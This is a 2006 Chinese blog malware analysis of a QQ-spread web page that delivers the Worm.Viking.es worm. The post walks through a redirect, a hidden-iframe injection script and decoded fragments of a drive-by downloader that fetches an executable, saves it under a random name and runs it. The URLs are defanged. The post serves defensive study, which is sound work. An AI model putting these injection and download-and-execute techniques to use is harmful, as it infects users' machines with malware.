QQ信息中传播Worm.Viking.es的这个网页真复杂

endurer 原创

2006-11-25 第1

QQ收到如下信息:
/------
4*****1(4*****1)  (2006-11-25 17:31:11)
看看我的嗨舞视频~~~~才上传到Q-Zone空间的...是不是有点太露了?
hxxp://q-zone.qq.%64***%37*%67%2E****%63%6E/ID=****2*/**
------/

hxxp://q-zone.qq.%64***%37*%67%2E****%63%6E/ID=****2*/**   的内容中有2段代码值得我们注意:
第1段
/------
<meta http-equiv="refresh" content="5; url=hxxp://u*2.sky***99***.***.cn">
------/
5秒钟后自动转到hxxp://u*2.sky***99***.***.cn,网址中的斜杠写反了^_^。

hxxp://u*2.sky***99***.***.cn
的标题是:手机游戏-彩铃-视频-图片_综合性手机娱乐媒体站!支持中国移动_中国联通_中国电信!

其中也包含有与hxxp://q-zone.qq.%64***%37*%67%2E****%63%6E/ID=****2*/**需要注意的第2段代码。

第2段
这是用HTMLShip XP加密过的JavaScript代码,解密后的代码如下:
/--------
<script language=javascript>nP76=5221;if(document.all){function _dm(){return false};function _mdm(){document.oncontextmenu=_dm;setTimeout("_mdm()",800)};_mdm();}document.oncontextmenu=new Function("return false");function _ndm(e){if(document.layers||window.sidebar){if(e.which!=1)return false;}};if(document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown=_ndm;}else{document.onmouseup=_ndm;};cH44=2933;sF9=6934;function _dws(){window.status = "The page is protected by HTMLShip XP";setTimeout("_dws()",100);};_dws();zU23=6361;yN80=3794;function _dds(){if(document.all){document.onselectstart=function (){return false};setTimeout("_dds()",700)}};_dds();xA39=4936;yE51=77;pO57=2936;bU4=4076;aH63=5218;qF28=9220;gQ34=2078;;_licensed_to_="";</script><iframe src="hxxp://u***2.**3*9*com*.net/mm***/*2****.html" height=0 width=0></iframe>
--------/
主要功能是禁止使用鼠标右键,并引入网页hxxp://u***2.**3*9*com*.net/mm***/*2****.html


hxxp://u***2.**3*9*com*.net/mm***/*2****.html

内容是加密过的JavaScript代码,由于代码很长,这里就不贴出来了,解密后的代码,开头的部分同样是禁止使用鼠标右键,有一个变量值挺有意思:
/--------
_licensed_to_="TEAM iPA";
--------/
接下来的是用Encode加密的VBScript脚本,解密后的脚本代码不贴出来了,主要是使用自定义函数UnEncode()来解密并输出变量hu的值,变量hu的值中包含了多个“浪”字。

解密后的变量hu的值为JavaScript脚本,这是最复杂的部分,使用了setCookie(),getCookie(),register(),Q(),openWin()等自定义函数。

代码从openWin()开始执行,openWin()开始部分的代码如下:
/--------
function openWin(){
var c = getCookie("wangtesta");
if (c != null) {
return;

register("9999ffree");
--------/

利用cookie变量wangtesta来判断是否往下执行脚本,这也提供了一种免疫的方法^_^

如果该cookie变量不存在,则接着用document.write()和unescape()输出迷惑信息:
/--------
Not Found
Sorry!
--------/

然后调用eval()来连接并执行通过调用自定义函数Q()728次解密出来的JavaScript脚本代码。

函数Q()定义如下:
/--------
var Q=function(m)

return String.fromCharCode(m^151);

--------/

该JavaScript脚本代码的功能是利用 Scripting.FileSystemObject、Microsoft.XMLHTTP、Adodb.Stream 下载 文件 u2.exe,保存到 %Windows%,而文件名则由自定义函数gn()随机生成,

/--------
function gn(n)
{var number = Math.random()*n;
return '~tmp'+Math.round(number)+'.exe';}
--------/

文件名为~tmp*.exe,其中的*为数字串,其值范围为~9999,最后通过Shell.Application 的 ShellExecute方法 运行。

u2.exe  瑞星报为 Worm.Viking.es

你可能感兴趣的:(JavaScript,qq,function,解密,脚本,VBScript)